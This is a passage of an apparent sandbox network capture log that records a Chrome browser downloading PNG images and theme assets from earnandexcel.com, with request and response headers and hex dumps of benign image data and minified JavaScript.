6b 3d 32 3d 3d 28 74 68 69 73 2e 73 74 61 74 75 73 2f 31 30 30 7c 30 29 2c 74 68 69 73 2e 62 Data Ascii: 0];const r=t[1].split("?");if(r.length>1)return r[0];const i=t[1].split("#");return i.length>1?i[0]:t[1]}const We=(e,t)=>(...n)=>{[`%c${e}`,t].concat(n)};function Ke(e,t){this.headers={},this.perfTimings={},Ne(this,t),this.ok=2==(this.status/100\|0),this.b
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 29 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 65 3d 7b 7d 3b 63 2e 67 65 74 41 6c 6c 52 65 73 70 6f 6e 73 65 48 65 61 64 65 72 73 28 29 2e 72 65 70 6c 61 63 65 28 2f 5e 28 2e 2a 3f 29 3a 5b 5e 5c 53 5c 6e 5d 2a 28 5b 5c 73 5c 53 5d 2a 3f 29 24 2f 67 6d 2c 28 74 2c 6e 2c 72 29 3d 3e 7b 65 5b 6e 5d 3d 65 5b 6e 5d 3f 60 24 7b 65 5b 6e 5d 7d 2c 24 7b 72 7d 60 3a 72 7d 29 3b 6c 65 74 20 74 3d 7b 7d 3b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 76 6f 69 64 20 30 21 3d 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 29 7b 63 6f 6e 73 74 20 65 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 72 65 73 6f 75 72 63 65 Data Ascii: ))return;const e={};c.getAllResponseHeaders().replace(/^(.?):[^\S\n]([\s\S]*?)$/gm,(t,n,r)=>{e[n]=e[n]?`${e[n]},${r}`:r});let t={};if(window.performance&&void 0!==window.performance.getEntriesByType){const e=window.performance.getEntriesByType("resource

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	49767	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	616	OUT	GET /wp-content/uploads/counter-media-01.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 1493 Connection: close CF-Ray: 872e0e685a3d7293-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330f-5d5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:55 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cr8XLl46aeN5VRZBmgp42wLBW%2BCjVIYeX5Tx8t1UPRon5MldjQakHBshiaiQTEQwIVEh%2F29rDmi%2BdNMJJ2c0Hq7y9MEIfqY0o2R0Gj81E0zs5Nw0DhmoE76CrCAiwAASxl8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	467	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2a 00 00 00 30 08 06 00 00 00 67 8e e8 a6 00 00 05 9c 49 44 41 54 78 da d5 99 5d 88 54 65 18 c7 4f df 94 19 54 98 3a ee 78 ce ea da 5e 6c 08 a5 88 7d 5c 48 17 82 65 51 e6 d6 cc f9 18 6d d7 8f c2 30 11 8b a0 0f b7 c8 22 14 41 5d 48 d7 24 c3 ae c2 82 2c a2 40 42 89 ac a8 6e fa 70 95 ae 8a 08 b3 2e 4a c5 ac a4 7f cf 6f ce 59 76 19 d7 39 33 3b 67 a7 ed 85 3f f3 cc fb 3e cf ff f9 cf 79 3f 9e 73 ce 38 59 37 37 d4 d3 ae af a7 9c b1 de dc 40 5f 02 67 ac 37 13 f9 09 70 c6 7a fb 3f 09 6d f2 d4 f7 e8 c2 91 84 79 91 0a a0 49 39 75 81 eb 6b af 1b 69 d7 ac 15 ba c4 19 e5 46 0e 9b 85 5d e4 24 77 5d 42 bd 40 cf b6 76 49 53 03 bd 0a 51 2d c9 5a 8b 9a d8 12 aa 0d 60 d7 1a 67 39 76 93 8b 9c 23 5b 6f be 9e 4b 08 76 e7 Data Ascii: PNGIHDR*0gIDATx]TeOT:x^l}\HeQm0"A]H$,@Bnp.JoYv93;g?>y?s8Y77@_g7pz?myI9ukiF]$w]B@vISQ-Z`g9v#[oKv
2024-04-11 21:26:40 UTC	1026	IN	Data Raw: ae 86 2b 36 19 a4 f9 c1 65 9c 6c d2 c5 99 88 6c e9 d4 e5 26 f4 a8 11 f7 63 57 f5 ed d6 35 e6 f7 2d c0 4e 5b b3 5e a8 23 5e a0 af da 16 e8 b2 c6 af 26 6b 8a e3 29 d4 ca d4 6a 16 ea 75 9b 52 01 ec b4 2a 03 27 dc 6e 51 b7 67 31 ed 3b 2d e9 69 a6 33 65 2a 57 0d 2c 0f 80 4d 5f da 32 81 db 0b b4 a5 e1 4d 94 4c e5 c7 d5 dc d8 bd e6 73 d2 12 be 3f d0 87 4d 1f 63 29 3f f0 90 e1 8b da 6a 3c d5 a2 27 c6 d0 80 29 25 5d eb 85 3a 61 44 7d 55 ab 57 41 9e 09 fb 6b aa af 43 f9 a2 b6 03 6c fa 18 4b b9 aa 3b 8d ff 97 09 9d ba 72 e8 32 1a d4 63 a0 25 87 70 3f 9b 05 98 7d d8 12 ac 29 0b 0d d4 62 7d 1c 23 1b aa 16 02 5f ae 09 3b 79 fd 32 69 e6 aa 18 d8 f4 31 56 25 94 32 fa 82 f1 9f f1 3a 35 89 ef e4 46 c3 10 3d fd 68 74 dc 48 dd f6 e5 3d 37 88 91 d8 7e 39 68 a9 26 99 fd a7 91 Data Ascii: +6ell&cW5-N[^#^&k)juR'nQg1;-i3eW,M_2MLs?Mc)?j<')%]:aD}UWAkClK;r2c%p?})b}#_;y2i1V%2:5F=htH=7~9h&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	49772	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	616	OUT	GET /wp-content/uploads/counter-media-02.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	912	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 1489 Connection: close CF-Ray: 872e0e6869bd72a5-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ed-5d1" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d6hRoczBHQ%2BkH8W%2Bs%2BUfSejCJjRKL%2F8kcna915ug8OfMrYtwB%2FAi9yxQFhQVk8pjfI3eiNXZTJcvlDcmmtb3mgGVYfB6qBh2%2F52K%2F6C%2FDUOswq66roBC5oMdBUu9xKMlap4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	457	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 27 00 00 00 30 08 06 00 00 00 92 70 63 16 00 00 05 98 49 44 41 54 78 da ed 99 fb 6f 14 55 14 c7 7d c7 df 48 30 a8 74 77 db d9 5a 1e b6 60 d1 82 15 68 fa 42 30 6a 14 8d 69 77 77 76 67 fb a2 6f 20 05 5a 5a 5a fb 40 49 17 c5 10 22 14 10 5b f0 07 b1 d2 16 ea a3 60 31 24 22 45 fd 0b 8c d1 a0 fe a0 89 60 34 24 8d 09 e1 d5 af df e3 65 b2 4a ed 63 3b 33 a9 1a 27 f9 e6 ee cc dc 9d fb b9 e7 9c 7b ce 3c 6e f9 7f b3 bc e5 e1 76 c7 34 d5 cd 15 c6 3d 09 41 9c d2 0c 7c cd f6 5b db 65 e0 cb 84 10 76 a7 95 e1 ce a9 c0 cd e5 45 c0 0b f4 53 3b 1c d0 39 ad 10 88 d7 71 28 66 40 b7 8e 39 84 bb 1e 1f c4 0a 27 a2 25 41 47 77 72 39 90 54 02 78 4c c0 58 e1 38 c3 a7 9d 80 73 e5 a3 37 bb 09 28 dc 07 78 0b a3 80 ff 18 b8 cc 46 Data Ascii: PNGIHDR'0pcIDATxoU}H0twZ`hB0jiwwvgo ZZZ@I"[`1$"E`4$eJc;3'{<nv4=A\|[evES;9q(f@9'%AGwr9TxLX8s7(xF
2024-04-11 21:26:40 UTC	1032	IN	Data Raw: b8 65 e3 8e 07 0c dc eb 84 52 f2 70 97 35 cb 49 5e 0a e3 37 77 c0 5e 25 18 54 08 dd 96 e0 5c 7e 1c 59 bc 01 28 ed 04 d6 1c b0 47 e5 9d 80 2c 32 a6 95 33 96 e1 24 88 4b 78 d1 e2 fd f6 a8 f4 4d 60 d9 66 c0 6d 15 8e ed 0e ba 75 d8 15 b0 51 3e 0c 27 18 94 8e b7 ad 2d 88 36 dc 26 65 c6 09 c9 62 b3 96 e7 02 58 c9 59 be e6 f2 d9 2b b9 26 c7 78 c1 2a 5c ef bc 0a 60 c9 46 80 0b c3 16 f1 5a 4c c2 ff f9 f2 e5 9c e5 ac 97 2f d6 d6 c7 a7 14 73 7e ec 64 bb 6b 2c c5 87 b0 cb 2c 5f f1 05 48 11 38 4f 10 4b 62 82 93 87 60 59 59 f2 3c 1b 8b 26 f3 f0 4c 4b 25 7b 74 34 b2 d6 0e 32 e7 81 13 3a c5 fd 66 81 9c 9c e5 82 2c d0 05 b8 c4 63 13 e9 32 75 45 a4 85 d9 ea e8 1b d3 00 21 24 11 a2 87 ba 9c 52 a9 aa 45 4e 23 90 c1 76 41 15 c0 e3 57 a9 7e 2d 80 f9 13 c1 25 6b 06 2a e8 82 ca Data Ascii: eRp5I^7w^%T\~Y(G,23$KxM`fmuQ>'-6&ebXY+&x\`FZL/s~dk,,_H8OKb`YY<&LK%{t42:f,c2uE!$REN#vAW~-%k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	49775	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	616	OUT	GET /wp-content/uploads/counter-media-03.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:41 UTC	906	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: image/png Content-Length: 1179 Connection: close CF-Ray: 872e0e69d83a8c5f-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3300-49b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:40 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M%2FMMMuJIA36zOPJbT2Sar43%2Fp7z2FqzWzHytY9WVpmWYO8zqrjypIB9j2wZo%2Fys0%2B2K43sWysWGpfYl2LludsXd3MGU2tAskiLxNhur%2FXGzOKj6V8V2ZzA3F8pj0Sbj1xwI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	463	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 04 62 49 44 41 54 78 da ed 9a 5b 6c 54 45 1c c6 8f 57 bc 24 5e a2 86 48 77 cf cc 59 16 a9 42 82 8d 97 b4 89 17 78 02 a2 51 63 58 7b ae db 5d 1b 69 c0 f4 85 94 00 0f b5 dd c5 f8 22 31 01 6f e0 83 31 d1 87 6a 4c bc 03 af 75 05 6c 51 62 0c 0f 3e 48 4c d4 26 6a 13 2f 0f 8a 17 c8 e7 f7 3f cb b2 6d b7 67 21 e1 10 ce 86 9d e4 cb 39 73 66 e6 9b ff 6f 66 67 f6 ec 64 8d f3 9d 16 17 91 56 1e f6 2a 1f 9f 6b 0f 93 91 ca 63 5c bb 58 6d 24 2d a9 3c 56 e9 02 40 88 6f a8 cf e6 93 00 48 1d 5e 9f 33 92 96 74 80 07 75 1f 90 f1 f0 70 54 9d 6c 11 b7 10 e4 1f 6a bb 91 b4 54 03 d0 2e 1e 8d 9c 25 1f b7 b6 01 ce 37 00 83 5b 1b 55 c7 72 b0 30 d1 00 2a 00 94 8f 8a e9 61 8c f9 31 Data Ascii: PNGIHDR00WbIDATx[lTEW$^HwYBxQcX{]i"1o1jLulQb>HL&j/?mg!9sfofgdVkc\Xm$-<V@oH^3tupTljT.%7[Ur0a1
2024-04-11 21:26:41 UTC	716	IN	Data Raw: 81 49 6a dc 68 92 68 b0 93 8d 7f cb e4 70 fd dc e0 69 f6 bb ce 03 ba 10 4e f1 e1 54 1e 1d 71 01 a4 5c 2c 51 36 ba 4c 1f 4f b0 0f f1 b8 d3 74 70 9f 7c 6f cc 02 90 77 f2 66 00 32 12 73 01 54 00 8b 1d ff 45 fd 20 65 d4 31 19 a5 d0 6b 25 2e 8f 73 11 9b 2e f2 02 90 b6 71 77 ed d9 39 03 dc e6 e0 66 76 fc bc 8c 10 cb be 63 9d d7 99 7f 88 7e db e4 1b 36 4e 00 b6 b5 c5 a3 a3 17 2b e2 02 a8 27 8e 36 cb a6 18 c4 5b b1 2e 62 0e 42 4d 1d 79 dc c4 18 1e d7 05 5c 35 f3 79 2c 00 62 1a 1b 80 8f b2 61 e0 12 c6 f4 86 c9 ad b3 a3 97 b2 71 24 65 e3 0b de 1f a0 be 94 bc 3c 57 01 e5 a2 9c 28 00 c6 52 92 19 35 1d 4c 2f df 08 3c b0 0d b8 7f eb fc ea 1c 00 4c 17 13 b1 00 68 1f bf c8 bb 7e 5c 00 1c e1 1f d7 94 81 67 f7 03 a3 1f 35 aa bc 17 e8 d9 0c 70 36 2a e7 0c b0 b2 ba 06 f6 31 Data Ascii: IjhhpiNTq\,Q6LOtp\|owf2sTE e1k%.s.qw9fvc~6N+'6[.bBMy\5y,baq$e<W(R5L/<Lh~\g5p6*1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	49776	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	562	OUT	GET /wp-content/uploads/edumall-shape-grid-dots-02.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: image/png Content-Length: 2794 Connection: close CF-Ray: 872e0e69db0a8cdd-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f1-aea" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:25 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wupe0rEAUWgLFm4kWNIddw0UMOCAT9ShZ1DZAr56m0yKgiONwh7fMJTUfb07rjphXvodZbtA2hfyoRrF%2FJhXy3D66YbNCEzW27V5EJsGznUj7gcqtP%2B1r7%2FabUgbUBmNJd4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	467	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 88 00 00 00 88 08 06 00 00 00 3c ba a3 52 00 00 0a b1 49 44 41 54 78 da ec 9d db 72 1b 45 10 86 37 70 c9 e1 0a 28 a0 38 1f 9e 82 53 38 c4 41 d6 ec 0b 40 41 15 c7 e7 c8 f3 24 c1 8a 0d 18 cb 91 35 0b e2 61 a8 04 8a c4 b6 a4 4b d0 e7 a8 63 23 2d d9 ee 8e 4b e5 75 fa af d2 c5 c8 f3 cf df 3b 3d b3 aa ea 43 b9 00 d3 9b e5 2b d3 aa fc 67 5a a5 7e 61 c4 34 97 3f c1 bd b3 d7 79 d3 c4 db 5b 7f 15 de 34 a7 1d b3 66 95 7e 3e d2 1c 74 df b0 f0 fe ce 9f be 76 4f b3 fc c5 aa 09 07 2e 6b 58 78 d8 08 0f 9b ed 9a 69 07 2e 7b 65 e1 e1 0b 78 f8 c6 b1 b7 7d b8 9c 89 e3 4d cb e5 bb 7c 39 c9 69 c4 f8 56 be f8 64 d1 80 3f fa 6b 4f cc 37 7c 08 f7 20 a7 8b b2 68 13 98 77 5f b3 4a bf 99 35 73 ca 70 a7 c3 f2 03 93 e6 a0 fb de Data Ascii: PNGIHDR<RIDATxrE7p(8S8A@A$5aKc#-Ku;=C+gZ~a4?y[4f~>tvO.kXxi.{ex}M\|9iVd?kO7\| hw_J5sp
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: e6 5f 56 85 11 2c 02 77 bc 73 f9 05 0b ef 60 bb f3 ac bc 7a 1d bf cd 37 e1 1e e6 f5 e7 4d 9a fd b5 e7 e4 d5 6b d5 84 03 97 35 2c 3c 6c 84 87 cd 8e e7 cc 70 d9 2b 0b 0f 5f c0 13 07 5b c0 19 80 cb 99 f8 cf ef cf 74 98 be ac bb c5 9a 1b 06 f7 af ed ce d3 2a c2 29 6a de de 7c e7 29 0b 8f f9 5e 4d 38 0f a3 89 cd 5e 4d f6 ca c2 c3 17 a7 a2 19 08 04 02 81 40 20 10 08 04 02 81 40 20 f0 a8 81 64 ce 74 58 7e 26 21 59 0b 48 0c c1 25 20 64 0e 94 a1 39 e8 7e d8 0a cd 19 07 2e 6b 58 03 65 f0 b0 b9 15 9a b3 33 00 57 12 7c 8a 50 bb 2e ec 3d de bd f4 e2 0a 43 ed 03 09 ef 9f f5 50 bb 84 bd b1 79 55 a1 76 7c a1 08 ef eb 42 ed d4 29 60 88 24 77 18 13 a2 d5 dc 62 e6 4e aa 74 4b 0e d7 ec d3 53 25 eb 72 ba be a8 c9 c9 d5 dc a8 25 cd 2a 6d e8 92 75 e5 0f a2 09 9f 75 58 cf aa c9 Data Ascii: _V,ws`z7Mk5,<lp+_[t)j\|)^M8^M@ @ dtX~&!YH% d9~.kXe3W\|P.=CPyUv\|B)`$wbNtKS%r%muuX
2024-04-11 21:26:41 UTC	958	IN	Data Raw: 34 3d 6a f7 a8 7d f4 a8 dd 62 9d c5 ba d1 62 9d e5 7e cb fd a3 e5 7e 0d 43 1a 86 46 0d 43 5a 0e b5 1c 6e b4 1c 1e 97 b1 56 cd c7 d5 14 42 08 21 84 10 42 08 21 8e 18 a7 72 d1 9a 9a 35 9e d7 60 7a 0d e6 e8 35 98 5e a4 eb 45 ba a3 17 e9 ee 4f 35 d7 ab b8 f7 f3 2a 6e 2f f3 f7 32 ff 4d 9a b4 fd 1c 88 9f 03 d9 e8 28 f3 83 42 07 f2 71 9f 9d 7d 50 48 08 21 84 10 42 08 21 84 10 e2 d4 c0 41 cc e2 f4 ec 1d f1 bb ce c1 0a dc ce a1 15 3c 8e 78 0f 41 13 0e dc ce a1 15 3c c6 7c 10 9a 8b 3d 00 d7 f0 b6 e1 ed f4 97 b7 af 29 65 47 78 9b 76 3a bc 0d 77 59 dc b9 c3 4b 40 c1 28 93 52 1b 6a 66 c3 db ff d2 ec 04 a9 b3 9a 3c c3 b3 9d c0 38 63 63 8c ab 9a fc 86 ac 26 73 13 9a cc 59 2e bc bd ae 99 0d 6f 0f 35 69 6f 2c bd 1b de 3e b1 f0 f6 06 8b c1 bd fb e8 e6 fc 65 fc 8b a4 9d 0d Data Ascii: 4=j}bb~~CFCZnVB!B!r5`z5^EO5*n/2M(Bq}PH!B!A<xA<\|=)eGxv:wYK@(Rjf<8cc&sY.o5io,>e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	49778	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	616	OUT	GET /wp-content/uploads/counter-media-04.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:41 UTC	900	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: image/png Content-Length: 1393 Connection: close CF-Ray: 872e0e6a3b7a8c83-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3300-571" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:40 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GCstpcdoV0nzRacLqqYO5JzIECcXgzERzMQb9irMsHEZ5FGEk54W4b7zX5qv4qhuqGQUf7ZT2q7gkcid9NonIGfpA3csmyyo4CkTWAELa4RXHvPD7i7c%2FEb%2BBU80GNq7RDA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	469	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 05 38 49 44 41 54 78 da ed 58 5b 4c 5c 55 14 9d c6 47 4d 8c 7e 58 23 0a 03 73 a1 c8 a3 56 b4 94 5a ac b1 2d 8d 12 a0 44 a8 c2 30 77 86 3b 3c 06 a6 3c ca 9b 9a d2 42 99 16 aa 4d 5a d3 d6 68 55 e8 c3 b7 34 a6 89 76 b0 52 ff b4 f8 a1 31 c6 c4 18 a9 89 34 7e d5 0f fd 11 9b 58 6d 5c ae e3 4e 98 00 d3 61 06 5a 66 68 e6 24 2b f7 9e 99 7d ee 59 eb 9c bd cf dd fb 9a a2 2d da a2 ed 26 6f cb 0d dc 97 60 a0 34 de 8e fa 48 80 56 0e dd 62 20 31 28 f2 34 2e 8e 77 e0 17 0e 40 52 55 64 c0 e2 04 28 e4 77 72 ab 0f 48 3e c9 89 94 04 07 fe 58 d3 06 d4 1d 07 da 3f 00 da de 0f 1f 5a de 05 9a 89 ad e4 b2 ae 13 e0 c2 5e b5 d8 91 e3 97 7c 9c 13 cb 2c 0e 0c 68 15 40 d1 8b 40 d5 Data Ascii: PNGIHDR00W8IDATxX[L\UGM~X#sVZ-D0w;<<BMZhU4vR14~Xm\NaZfh$+}Y-&o`4HVb 1(4.w@RUd(wrH>X?Z^\|,h@@
2024-04-11 21:26:41 UTC	924	IN	Data Raw: ad 06 52 88 8e 21 60 f7 19 0a 6a a0 80 f6 69 02 18 c9 83 a9 6e a0 f3 14 50 d8 0f 6c dc 09 ec 1b 01 8a f7 03 4f 6c 07 fa 3f 15 97 5a db 26 0f f1 0c 2f 04 c4 4d ea 4e 88 37 6c d9 2f 7e ef 57 80 b9 0c 9f ab 4e ff 88 ac ae f1 0a 07 93 b4 fb 18 60 3f 22 0f 6a 38 29 2b b2 40 e4 09 21 dc 73 06 48 af 91 45 e5 6f d7 dc 81 f3 69 6e 31 da d4 2d d8 d0 05 e4 a8 fb 1e c8 fd 2e c8 fd ce 85 c5 7a ce ad 19 e4 d6 15 40 00 23 7b d4 62 e0 32 83 e6 fb 48 03 bd e3 07 5e ff ca 09 b4 03 9a 03 5f 53 c4 97 a6 8d b8 35 28 94 e2 96 f9 22 d8 b9 62 72 71 27 05 5c a0 57 cc 2a 60 d4 14 52 c3 92 79 21 c8 f6 50 29 6e a7 80 b1 eb 24 40 12 3c 1e bb a3 66 1d df c6 95 11 b6 10 c1 31 6a 2c e7 3c 17 ab e3 de d9 e6 4b ce c7 d2 eb 2a 80 e4 37 ab 04 6f 4d 9b 04 d8 93 3b 7c 58 2f c1 3e ed f7 99 36 Data Ascii: R!`jinPlOl?Z&/MN7l/~WN`?"j8)+@!sHEoin1-.z@#{b2H^_S5("brq'\W`Ry!P)n$@<f1j,<K7oM;\|X/>6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	49779	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	575	OUT	GET /wp-content/themes/edumall/assets/images/cursor/light-close.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
